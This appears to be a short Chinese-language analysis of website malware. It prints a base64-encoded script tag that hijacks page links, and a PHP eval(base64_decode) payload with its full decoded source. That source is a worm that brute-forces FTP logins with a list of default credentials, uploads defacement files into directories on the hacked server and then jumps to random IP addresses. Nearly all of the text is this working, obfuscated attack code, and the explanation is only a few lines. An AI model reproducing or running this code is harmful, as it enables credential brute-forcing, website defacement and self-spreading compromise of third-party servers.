<script src='data:text/plain;base64,ZnVuY3Rpb24gY3NzQ0xFQU4oKSB7CmRvY3VtZW50LnJlZmVycmVyID0gJ2h0dHA6Ly93d3cuV0hBSy5jb20nOwpkb2N1bWVudC50aXRsZSA9ICdXSEFLLmNvbSc7CnZhciBmaXhlcz1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiYSIpOwpmb3IodmFyIHR0PTAsZml4ZTtmaXhlPWZpeGVzW3R0XTt0dCsrKXtmaXhlLmhyZWY9Imh0dHBzOi8vcGx1cy5nb29nbGUuY29tLytXaGFrLWEtdHJvbGwvIn0KfTt3aW5kb3cub25sb2FkID0gY3NzQ0xFQU47'></script>
Data URI scheme是在RFC2397中定义的,目的是将一些小的数据,直接嵌入到网页中,从而不用再从外部文件载入。
引用格式 data:text/plain;base64,base64编码后的文本数据。
javascript可看出是经过base64编码, 解码后内容如下:
<script>function cssCLEAN() { document.referrer = 'http://www.WHAK.com'; document.title = 'WHAK.com'; var fixes=document.getElementsByTagName("a"); for(var tt=0,fixe;fixe=fixes[tt];tt++){fixe.href="https://plus.google.com/+Whak-a-troll/"} };window.onload = cssCLEAN; </script>
php部分
<?php eval(base64_decode('aW5pX3NldCgnbWVtb3J5X2xpbWl0JywnNjY2TScpOwppbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCA2NjY2NjYpOwppbmlfc2V0KCdkZWZhdWx0X2NoYXJzZXQnLCd1dGYtOCcpOwppbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIGZhbHNlKTsKaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsIDApOwplcnJvcl9yZXBvcnRpbmcoMCk7Cmlnbm9yZV91c2VyX2Fib3J0KHRydWUpOwpzZXRfdGltZV9saW1pdCgwKTsKCiRmdHBfc2l0ZXggPSAkX0dFVFsiZnRwIl07CgpmdW5jdGlvbiBoaXRmdHAoJGZ0cF9zaXRlKXsKCglpZiAoISRmdHBfc2l0ZSkgewoJJGZ0cF9zaXRlID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107Cgl9CgkKCWlmICghJGZ0cF9zaXRlKSB7CgkkZnRwX3NpdGUgPSByYW5kKDAsMjU1KS4nLicucmFuZCgwLDI1NSkuJy4nLnJhbmQoMCwyNTUpLicuJy5yYW5kKDAsMjU1KTsKCX0KaWYgKCRmdHBfc2l0ZSkgewoKJGZ0cF91c2VyID0gJF9HRVRbInVzZXIiXTsKJGZ0cF9wYXNzID0gJF9HRVRbInBhc3MiXTsKJGZ0cF9wb3J0ID0gJF9HRVRbInBvcnQiXTsKCiRmdHBfc2l0ZSA9IHN0cl9yZXBsYWNlKCdodHRwOi8vJywgJycsICRmdHBfc2l0ZSk7CiRmdHBfc2l0ZSA9IHN0cl9yZXBsYWNlKCdodHRwczovLycsICcnLCAkZnRwX3NpdGUpOwokZnRwX3NpdGUgPSBzdHJfcmVwbGFjZSgnZnRwOi8vJywgJycsICRmdHBfc2l0ZSk7CiRmdHBfc2l0ZSA9IHN0cl9yZXBsYWNlKCdmdHA6Ly8nLCAnJywgJGZ0cF9zaXRlKTsKCiRhID0gZXhwbG9kZSgiLyIsICRmdHBfc2l0ZSk7CmlmIChjb3VudCgkYSkgPiAxKSAKewokZnRwX3NpdGUgPSAkYVswXTsKfQoKaWYgKCEkZnRwX3Bhc3MpIHsKJGZ0cF9wYXNzID0gImFub255bW91cyI7Cn0KCmlmICghJGZ0cF91c2VyKSB7CiRmdHBfdXNlciA9ICJhbm9ueW1vdXMiOwp9CgppZiAoISRmdHBfcG9ydCkgewokZnRwX3BvcnQgPSAiMjEiOwp9CgokZnRwID0gZnRwX2Nvbm5lY3QoJGZ0cF9zaXRlLCAkZnRwX3BvcnQpOwppZiAoISRmdHApIHsKZnRwX2Nsb3NlKCRmdHApOwpoaXRmdHAocmFuZCgwLDI1NSkuJy4nLnJhbmQoMCwyNTUpLicuJy5yYW5kKDAsMjU1KS4nLicucmFuZCgwLDI1NSkpOwp9CgokciA9IGZ0cF9sb2dpbigkZnRwLCAkZnRwX3VzZXIsICRmdHBfcGFzcyk7CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAiYW5vbiIsICJhbm9uIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgInJvb3QiLCAicm9vdCIpO30KaWYgKCEkcikge2RpZSgpOyRyID0gZnRwX2xvZ2luKCRmdHAsICJhZG1pbiIsICJwYXNzIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgImFkbWluIiwgInBhc3N3b3JkIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgImVtYWlsQGRmZy5uZXQiLCAiYW5vbnltb3VzIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgIm9yYWNsZSIsICJvcmFjbGUiKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAicm9vdCIsICJhYmMxMjMiKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAicm9vdCIsICIxMjM0NTYiKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAiYWRtaW4iLCAiMTIzNDU2Iik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgInJvb3QiLCAiYWRtaW4iKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAicm9vdCIsICIxMjNxd2UiKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAiam9obiIsICJwYXNzd29yZCIpO30KaWYgKCEkcikge2RpZSgpOyRyID0gZnRwX2xvZ2luKCRmdHAsICJhZG1pbiIsICJhZG1pbiIpO30KaWYgKCEkcikge2RpZSgpOyRyID0gZnRwX2xvZ2luKCRmdHAsICJtYXJrZXRpbmciLCAibWFya2V0aW5nIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgImZ0cCIsICJmdHAxMjMiKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAiZnRwdXNlciIsICJmdHBwYXNzIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgImFkbWluIiwgInBhc3N3b3JkIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgImpvaG4iLCAiam9obiIpO30KaWYgKCEkcikge2RpZSgpOyRyID0gZnRwX2xvZ2luKCRmdHAsICJkYXZlIiwgImRhdmUiKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAidXNlciIsICJwYXNzIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgInVzZXIiLCAicGFzc3dvcmQiKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAidXNlcm5hbWUiLCAicGFzc3dvcmQiKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAibmFtZSIsICJwYXNzd29yZCIpO30KaWYgKCEkcikge2RpZSgpOyRyID0gZnRwX2xvZ2luKCRmdHAsICJxd2VydHkiLCAicXdlcnR5Iik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgImdvZCIsICJnb2QiKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAidXNlciIsICIxMjM0Iik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgImFkbWluc3RyYXRvciIsICIxMjM0Iik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgImFkbWluIiwgIjEyMzQiKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAiMTIzNCIsICIxMjM0Iik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgImZ0cHVzZXIiLCAiMTIzNCIpO30KaWYgKCEkcikge2RpZSgpOyRyID0gZnRwX2xvZ2luKCRmdHAsICJubXQiLCAiMTIzNCIpO30KaWYgKCEkcikge2RpZSgpOyRyID0gZnRwX2xvZ2luKCRmdHAsICJuZXd1c2VyIiwgIndhbXBwIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgInVzZXIiLCAicGFzc3dvcmQiKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAieGJtYyIsICJhbm9uIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgInBpICIsICJyYXNwYmVycnkiKTt9CmlmICghJHIpIHtkaWUoKTskciA9IGZ0cF9sb2dpbigkZnRwLCAidXNlcmZ0cCIsICJ1c2VyZnRwIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgImFub24iLCAiYW5vbiIpO30KaWYgKCEkcikge2RpZSgpOyRyID0gZnRwX2xvZ2luKCRmdHAsICJhbm9uIiwgImFub255bW91cyIpO30KaWYgKCEkcikge2RpZSgpOyRyID0gZnRwX2xvZ2luKCRmdHAsICJhbm9ueW1vdXMiLCAiYW5vbiIpO30KaWYgKCEkcikge2RpZSgpOyRyID0gZnRwX2xvZ2luKCRmdHAsICJhbm9ueW1vdXMiLCAiYW5vbnltb3VzIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgImFub24iLCAiTmNGVFBAIik7fQppZiAoISRyKSB7ZGllKCk7JHIgPSBmdHBfbG9naW4oJGZ0cCwgInhib3giLCAieGJveCIpO30KaWYgKCEkcikge2RpZSgpOyRyID0gZnRwX2xvZ2luKCRmdHAsICJ1c2VyIiwgIjEyMzQiKTt9CmlmICghJHIpIGRpZSgnPHA+Y291bGQgbm90IGxvZ2luLjxwPicpOwoKJHIgPSBmdHBfcGFzdigkZnRwLCB0cnVlKTsKaWYgKCEkcikgZnRwX2FsbG9jKCRmdHAsIHRydWUpOwppZiAoISRyKSB7CmZ0cF9jbG9zZSgkZnRwKTsKaGl0ZnRwKHJhbmQoMCwyNTUpLicuJy5yYW5kKDAsMjU1KS4nLicucmFuZCgwLDI1NSkuJy4nLnJhbmQoMCwyNTUpKTsKfQoKJGZ0cF9maWxlID0gJ3NlYXJjaC5odG0nOyAvLyBmdHBfZmlsZV9oZXJlCiRmdHBfcmVtb3RlX2ZpbGUgPSAnaW5kZXguaHRtJzsgLy8gZnRwX2ZpbGVfdGhlcmUKJGZ0cF9maWxlMiA9ICdpbmRleC5waHAnOyAvLyBmdHBfZmlsZV9oZXJlCiRmdHBfcmVtb3RlX2ZpbGUyID0gJ2luZGV4LnBocCc7IC8vIGZ0cF9maWxlX3RoZXJlCiRmdHBfZmlsZTIgPSAnaG9seS1iaWJsZS5waHAnOyAvLyBmdHBfZmlsZV9oZXJlCiRmdHBfcmVtb3RlX2ZpbGUyID0gJ2luZGV4LnBocCc7IC8vIGZ0cF9maWxlX3RoZXJlCiRmdHBfZmlsZTMgPSAnaG9seS1iaWJsZS5odG0nOyAvLyBmdHBfZmlsZV9oZXJlCiRmdHBfcmVtb3RlX2ZpbGUzID0gJ2RlZmF1bHQuYXNwJzsgLy8gZnRwX2ZpbGVfdGhlcmUKCmlmIChmdHBfcHV0KCRmdHAsICIvIi4kZnRwX3JlbW90ZV9maWxlLCAiLyIuJGZ0cF9maWxlLCBGVFBfQVNDSUkpKSB7CgoJaWYgKGZ0cF9wdXQoJGZ0cCwgIi8iLiRmdHBfcmVtb3RlX2ZpbGUyLCAiLyIuJGZ0cF9maWxlMiwgRlRQX0FTQ0lJKSkgewoKCWZ0cF9wdXQoJGZ0cCwgIi8iLiRmdHBfcmVtb3RlX2ZpbGUzLCAiLyIuJGZ0cF9maWxlMywgRlRQX0FTQ0lJKTsKCX0KfQppZiAoZnRwX3B1dCgkZnRwLCAkZnRwX3JlbW90ZV9maWxlLCAiLyIuJGZ0cF9maWxlLCBGVFBfQVNDSUkpKSB7CgoJaWYgKGZ0cF9wdXQoJGZ0cCwgJGZ0cF9yZW1vdGVfZmlsZTIsICIvIi4kZnRwX2ZpbGUyLCBGVFBfQVNDSUkpKSB7CgoJZnRwX3B1dCgkZnRwLCAkZnRwX3JlbW90ZV9maWxlMywgIi8iLiRmdHBfZmlsZTMsIEZUUF9BU0NJSSk7Cgl9Cn0KaWYgKGZ0cF9wdXQoJGZ0cCwgJGZ0cF9yZW1vdGVfZmlsZSwgJGZ0cF9maWxlLCBGVFBfQVNDSUkpKSB7CgoJaWYgKGZ0cF9wdXQoJGZ0cCwgJGZ0cF9yZW1vdGVfZmlsZTIsICRmdHBfZmlsZTIsIEZUUF9BU0NJSSkpIHsKCglmdHBfcHV0KCRmdHAsICRmdHBfcmVtb3RlX2ZpbGUzLCAkZnRwX2ZpbGUzLCBGVFBfQVNDSUkpOwoJfQp9CmlmIChmdHBfcHV0KCRmdHAsICIvIi4kZnRwX3JlbW90ZV9maWxlLCAkZnRwX2ZpbGUsIEZUUF9BU0NJSSkpIHsKCglpZiAoZnRwX3B1dCgkZnRwLCAiLyIuJGZ0cF9yZW1vdGVfZmlsZTIsICRmdHBfZmlsZTIsIEZUUF9BU0NJSSkpIHsKCglmdHBfcHV0KCRmdHAsICIvIi4kZnRwX3JlbW90ZV9maWxlMywgJGZ0cF9maWxlMywgRlRQX0FTQ0lJKTsKCX0KfQogICRmdHBfbmxpc3QgPSBmdHBfbmxpc3QoJGZ0cCwgIi8iKTsKICBmb3JlYWNoICgkZnRwX25saXN0IGFzICR2KSB7CgogIGlmICghc3RycG9zKCR2LCcuJykpIHsKCiAgaWYgKGZ0cF9wdXQoJGZ0cCwgJHYuIi8iLiRmdHBfcmVtb3RlX2ZpbGUsICRmdHBfZmlsZSwgRlRQX0FTQ0lJKSkgewoKCQlpZiAoZnRwX3B1dCgkZnRwLCAkdi4iLyIuJGZ0cF9yZW1vdGVfZmlsZTIsICRmdHBfZmlsZTIsIEZUUF9BU0NJSSkpIHsKCgkJZnRwX3B1dCgkZnRwLCAkdi4iLyIuJGZ0cF9yZW1vdGVfZmlsZTMsICRmdHBfZmlsZTMsIEZUUF9BU0NJSSk7CgkJfQogIH0KCiAgICAgJGZ0cF9ubGlzdDIgPSBmdHBfbmxpc3QoJGZ0cCwgJHYpOwogICAgIGZvcmVhY2ggKCRmdHBfbmxpc3QyIGFzICR2MikgewogICAgIGlmICghc3RycG9zKCR2MiwnLicpKSB7CgogICAgIGlmIChmdHBfcHV0KCRmdHAsICR2Mi4iLyIuJGZ0cF9yZW1vdGVfZmlsZSwgJGZ0cF9maWxlLCBGVFBfQVNDSUkpKSB7CgppZiAoZnRwX3B1dCgkZnRwLCAkdjIuIi8iLiRmdHBfcmVtb3RlX2ZpbGUyLCAkZnRwX2ZpbGUyLCBGVFBfQVNDSUkpKSB7CgpmdHBfcHV0KCRmdHAsICR2Mi4iLyIuJGZ0cF9yZW1vdGVfZmlsZTMsICRmdHBfZmlsZTMsIEZUUF9BU0NJSSk7Cn0KICAgICB9CgogICAgICAgICRmdHBfbmxpc3QzID0gZnRwX25saXN0KCRmdHAsICR2Mik7CiAgICAgICAgZm9yZWFjaCAoJGZ0cF9ubGlzdDMgYXMgJHYzKSB7CiAgICAgICAgaWYgKCFzdHJwb3MoJHYzLCcuJykpIHsKCiAgICAgICAgaWYgKGZ0cF9wdXQoJGZ0cCwgJHYzLiIvIi4kZnRwX3JlbW90ZV9maWxlLCAkZnRwX2ZpbGUsIEZUUF9BU0NJSSkpIHsKCgkJCWlmIChmdHBfcHV0KCRmdHAsICR2My4iLyIuJGZ0cF9yZW1vdGVfZmlsZTIsICRmdHBfZmlsZTIsIEZUUF9BU0NJSSkpIHsKCgkJCWZ0cF9wdXQoJGZ0cCwgJHYzLiIvIi4kZnRwX3JlbW90ZV9maWxlMywgJGZ0cF9maWxlMywgRlRQX0FTQ0lJKTsKCQkJfQogICAgICAgIH0KCQkJJGZ0cF9ubGlzdDQgPSBmdHBfbmxpc3QoJGZ0cCwgJHYzKTsKCQkJZm9yZWFjaCAoJGZ0cF9ubGlzdDQgYXMgJHY0KSB7CgkJCWlmICghc3RycG9zKCR2NCwnLicpKSB7CgoJCQlpZiAoZnRwX3B1dCgkZnRwLCAkdjQuIi8iLiRmdHBfcmVtb3RlX2ZpbGUsICRmdHBfZmlsZSwgRlRQX0FTQ0lJKSkgewoKCQkJCWlmIChmdHBfcHV0KCRmdHAsICR2NC4iLyIuJGZ0cF9yZW1vdGVfZmlsZTIsICRmdHBfZmlsZTIsIEZUUF9BU0NJSSkpIHsKCgkJCQlmdHBfcHV0KCRmdHAsICR2NC4iLyIuJGZ0cF9yZW1vdGVfZmlsZTMsICRmdHBfZmlsZTMsIEZUUF9BU0NJSSk7CgkJCQl9CgkJCX0KCQkJCSRmdHBfbmxpc3Q1ID0gZnRwX25saXN0KCRmdHAsICR2NCk7CgkJCQlmb3JlYWNoICgkZnRwX25saXN0NSBhcyAkdjUpIHsKCQkJCWlmICghc3RycG9zKCR2NSwnLicpKSB7CgoJCQkJaWYgKGZ0cF9wdXQoJGZ0cCwgJHY1LiIvIi4kZnRwX3JlbW90ZV9maWxlLCAkZnRwX2ZpbGUsIEZUUF9BU0NJSSkpIHsKCgkJCQkJaWYgKGZ0cF9wdXQoJGZ0cCwgJHY1LiIvIi4kZnRwX3JlbW90ZV9maWxlMiwgJGZ0cF9maWxlMiwgRlRQX0FTQ0lJKSkgewoKCQkJCQlmdHBfcHV0KCRmdHAsICR2NS4iLyIuJGZ0cF9yZW1vdGVfZmlsZTMsICRmdHBfZmlsZTMsIEZUUF9BU0NJSSk7CgkJCQkJfQoJCQkJfQoJCQkJCgkJCQkJJGZ0cF9ubGlzdDYgPSBmdHBfbmxpc3QoJGZ0cCwgJHY1KTsKCQkJCQlmb3JlYWNoICgkZnRwX25saXN0NiBhcyAkdjYpIHsKCQkJCQlpZiAoIXN0cnBvcygkdjYsJy4nKSkgewoKCQkJCQlpZiAoZnRwX3B1dCgkZnRwLCAkdjYuIi8iLiRmdHBfcmVtb3RlX2ZpbGUsICRmdHBfZmlsZSwgRlRQX0FTQ0lJKSkgewoKCQkJCQkJaWYgKGZ0cF9wdXQoJGZ0cCwgJHY2LiIvIi4kZnRwX3JlbW90ZV9maWxlMiwgJGZ0cF9maWxlMiwgRlRQX0FTQ0lJKSkgewoKCQkJCQkJZnRwX3B1dCgkZnRwLCAkdjYuIi8iLiRmdHBfcmVtb3RlX2ZpbGUzLCAkZnRwX2ZpbGUzLCBGVFBfQVNDSUkpOwoJCQkJCQl9CgkJCQkJfQoKCQkJCQl9CgkJCQkJfQoKCgkJCQl9CgkJCQl9CgoJCQl9CgkJCX0KCiAgICAgICAgfQogICAgICAgIH0KICAgICB9CiAgICAgfQogIH0KICB9CgpmdHBfY2xvc2UoJGZ0cCk7CmhpdGZ0cChyYW5kKDAsMjU1KS4nLicucmFuZCgwLDI1NSkuJy4nLnJhbmQoMCwyNTUpLicuJy5yYW5kKDAsMjU1KSk7Cgp9Cgp9CmhpdGZ0cCgkZnRwX3NpdGV4KTs=')); ?>
同样采用base64解码后如下:
<?php ini_set('memory_limit','666M'); ini_set('max_execution_time', 666666); ini_set('default_charset','utf-8'); ini_set('display_errors', false); ini_set('output_buffering', 0); error_reporting(0); ignore_user_abort(true); set_time_limit(0); $ftp_sitex = $_GET["ftp"]; function hitftp($ftp_site){ if (!$ftp_site) { $ftp_site = $_SERVER['REMOTE_ADDR']; } if (!$ftp_site) { $ftp_site = rand(0,255).'.'.rand(0,255).'.'.rand(0,255).'.'.rand(0,255); } if ($ftp_site) { $ftp_user = $_GET["user"]; $ftp_pass = $_GET["pass"]; $ftp_port = $_GET["port"]; $ftp_site = str_replace('http://', '', $ftp_site); $ftp_site = str_replace('https://', '', $ftp_site); $ftp_site = str_replace('ftp://', '', $ftp_site); $ftp_site = str_replace('ftp://', '', $ftp_site); $a = explode("/", $ftp_site); if (count($a) > 1) { $ftp_site = $a[0]; } if (!$ftp_pass) { $ftp_pass = "anonymous"; } if (!$ftp_user) { $ftp_user = "anonymous"; } if (!$ftp_port) { $ftp_port = "21"; } $ftp = ftp_connect($ftp_site, $ftp_port); if (!$ftp) { ftp_close($ftp); hitftp(rand(0,255).'.'.rand(0,255).'.'.rand(0,255).'.'.rand(0,255)); } $r = ftp_login($ftp, $ftp_user, $ftp_pass); if (!$r) {die();$r = ftp_login($ftp, "anon", "anon");} if (!$r) {die();$r = ftp_login($ftp, "root", "root");} if (!$r) {die();$r = ftp_login($ftp, "admin", "pass");} if (!$r) {die();$r = ftp_login($ftp, "admin", "password");} if (!$r) {die();$r = ftp_login($ftp, "[email protected]", "anonymous");} if (!$r) {die();$r = ftp_login($ftp, "oracle", "oracle");} if (!$r) {die();$r = ftp_login($ftp, "root", "abc123");} if (!$r) {die();$r = ftp_login($ftp, "root", "123456");} if (!$r) {die();$r = ftp_login($ftp, "admin", "123456");} if (!$r) {die();$r = ftp_login($ftp, "root", "admin");} if (!$r) {die();$r = ftp_login($ftp, "root", "123qwe");} if (!$r) {die();$r = ftp_login($ftp, "john", "password");} if (!$r) {die();$r = ftp_login($ftp, "admin", "admin");} if (!$r) {die();$r = ftp_login($ftp, "marketing", "marketing");} if (!$r) {die();$r = ftp_login($ftp, "ftp", "ftp123");} if (!$r) {die();$r = ftp_login($ftp, "ftpuser", "ftppass");} if (!$r) {die();$r = ftp_login($ftp, "admin", "password");} if (!$r) {die();$r = ftp_login($ftp, "john", "john");} if (!$r) {die();$r = ftp_login($ftp, "dave", "dave");} if (!$r) {die();$r = ftp_login($ftp, "user", "pass");} if (!$r) {die();$r = ftp_login($ftp, "user", "password");} if (!$r) {die();$r = ftp_login($ftp, "username", "password");} if (!$r) {die();$r = ftp_login($ftp, "name", "password");} if (!$r) {die();$r = ftp_login($ftp, "qwerty", "qwerty");} if (!$r) {die();$r = ftp_login($ftp, "god", "god");} if (!$r) {die();$r = ftp_login($ftp, "user", "1234");} if (!$r) {die();$r = ftp_login($ftp, "adminstrator", "1234");} if (!$r) {die();$r = ftp_login($ftp, "admin", "1234");} if (!$r) {die();$r = ftp_login($ftp, "1234", "1234");} if (!$r) {die();$r = ftp_login($ftp, "ftpuser", "1234");} if (!$r) {die();$r = ftp_login($ftp, "nmt", "1234");} if (!$r) {die();$r = ftp_login($ftp, "newuser", "wampp");} if (!$r) {die();$r = ftp_login($ftp, "user", "password");} if (!$r) {die();$r = ftp_login($ftp, "xbmc", "anon");} if (!$r) {die();$r = ftp_login($ftp, "pi ", "raspberry");} if (!$r) {die();$r = ftp_login($ftp, "userftp", "userftp");} if (!$r) {die();$r = ftp_login($ftp, "anon", "anon");} if (!$r) {die();$r = ftp_login($ftp, "anon", "anonymous");} if (!$r) {die();$r = ftp_login($ftp, "anonymous", "anon");} if (!$r) {die();$r = ftp_login($ftp, "anonymous", "anonymous");} if (!$r) {die();$r = ftp_login($ftp, "anon", "NcFTP@");} if (!$r) {die();$r = ftp_login($ftp, "xbox", "xbox");} if (!$r) {die();$r = ftp_login($ftp, "user", "1234");} if (!$r) die('<p>could not login.<p>'); $r = ftp_pasv($ftp, true); if (!$r) ftp_alloc($ftp, true); if (!$r) { ftp_close($ftp); hitftp(rand(0,255).'.'.rand(0,255).'.'.rand(0,255).'.'.rand(0,255)); } $ftp_file = 'search.htm'; // ftp_file_here $ftp_remote_file = 'index.htm'; // ftp_file_there $ftp_file2 = 'index.php'; // ftp_file_here $ftp_remote_file2 = 'index.php'; // ftp_file_there $ftp_file2 = 'holy-bible.php'; // ftp_file_here $ftp_remote_file2 = 'index.php'; // ftp_file_there $ftp_file3 = 'holy-bible.htm'; // ftp_file_here $ftp_remote_file3 = 'default.asp'; // ftp_file_there if (ftp_put($ftp, "/".$ftp_remote_file, "/".$ftp_file, FTP_ASCII)) { if (ftp_put($ftp, "/".$ftp_remote_file2, "/".$ftp_file2, FTP_ASCII)) { ftp_put($ftp, "/".$ftp_remote_file3, "/".$ftp_file3, FTP_ASCII); } } if (ftp_put($ftp, $ftp_remote_file, "/".$ftp_file, FTP_ASCII)) { if (ftp_put($ftp, $ftp_remote_file2, "/".$ftp_file2, FTP_ASCII)) { ftp_put($ftp, $ftp_remote_file3, "/".$ftp_file3, FTP_ASCII); } } if (ftp_put($ftp, $ftp_remote_file, $ftp_file, FTP_ASCII)) { if (ftp_put($ftp, $ftp_remote_file2, $ftp_file2, FTP_ASCII)) { ftp_put($ftp, $ftp_remote_file3, $ftp_file3, FTP_ASCII); } } if (ftp_put($ftp, "/".$ftp_remote_file, $ftp_file, FTP_ASCII)) { if (ftp_put($ftp, "/".$ftp_remote_file2, $ftp_file2, FTP_ASCII)) { ftp_put($ftp, "/".$ftp_remote_file3, $ftp_file3, FTP_ASCII); } } $ftp_nlist = ftp_nlist($ftp, "/"); foreach ($ftp_nlist as $v) { if (!strpos($v,'.')) { if (ftp_put($ftp, $v."/".$ftp_remote_file, $ftp_file, FTP_ASCII)) { if (ftp_put($ftp, $v."/".$ftp_remote_file2, $ftp_file2, FTP_ASCII)) { ftp_put($ftp, $v."/".$ftp_remote_file3, $ftp_file3, FTP_ASCII); } } $ftp_nlist2 = ftp_nlist($ftp, $v); foreach ($ftp_nlist2 as $v2) { if (!strpos($v2,'.')) { if (ftp_put($ftp, $v2."/".$ftp_remote_file, $ftp_file, FTP_ASCII)) { if (ftp_put($ftp, $v2."/".$ftp_remote_file2, $ftp_file2, FTP_ASCII)) { ftp_put($ftp, $v2."/".$ftp_remote_file3, $ftp_file3, FTP_ASCII); } } $ftp_nlist3 = ftp_nlist($ftp, $v2); foreach ($ftp_nlist3 as $v3) { if (!strpos($v3,'.')) { if (ftp_put($ftp, $v3."/".$ftp_remote_file, $ftp_file, FTP_ASCII)) { if (ftp_put($ftp, $v3."/".$ftp_remote_file2, $ftp_file2, FTP_ASCII)) { ftp_put($ftp, $v3."/".$ftp_remote_file3, $ftp_file3, FTP_ASCII); } } $ftp_nlist4 = ftp_nlist($ftp, $v3); foreach ($ftp_nlist4 as $v4) { if (!strpos($v4,'.')) { if (ftp_put($ftp, $v4."/".$ftp_remote_file, $ftp_file, FTP_ASCII)) { if (ftp_put($ftp, $v4."/".$ftp_remote_file2, $ftp_file2, FTP_ASCII)) { ftp_put($ftp, $v4."/".$ftp_remote_file3, $ftp_file3, FTP_ASCII); } } $ftp_nlist5 = ftp_nlist($ftp, $v4); foreach ($ftp_nlist5 as $v5) { if (!strpos($v5,'.')) { if (ftp_put($ftp, $v5."/".$ftp_remote_file, $ftp_file, FTP_ASCII)) { if (ftp_put($ftp, $v5."/".$ftp_remote_file2, $ftp_file2, FTP_ASCII)) { ftp_put($ftp, $v5."/".$ftp_remote_file3, $ftp_file3, FTP_ASCII); } } $ftp_nlist6 = ftp_nlist($ftp, $v5); foreach ($ftp_nlist6 as $v6) { if (!strpos($v6,'.')) { if (ftp_put($ftp, $v6."/".$ftp_remote_file, $ftp_file, FTP_ASCII)) { if (ftp_put($ftp, $v6."/".$ftp_remote_file2, $ftp_file2, FTP_ASCII)) { ftp_put($ftp, $v6."/".$ftp_remote_file3, $ftp_file3, FTP_ASCII); } } } } } } } } } } } } } } ftp_close($ftp); hitftp(rand(0,255).'.'.rand(0,255).'.'.rand(0,255).'.'.rand(0,255)); } } hitftp($ftp_sitex); ?>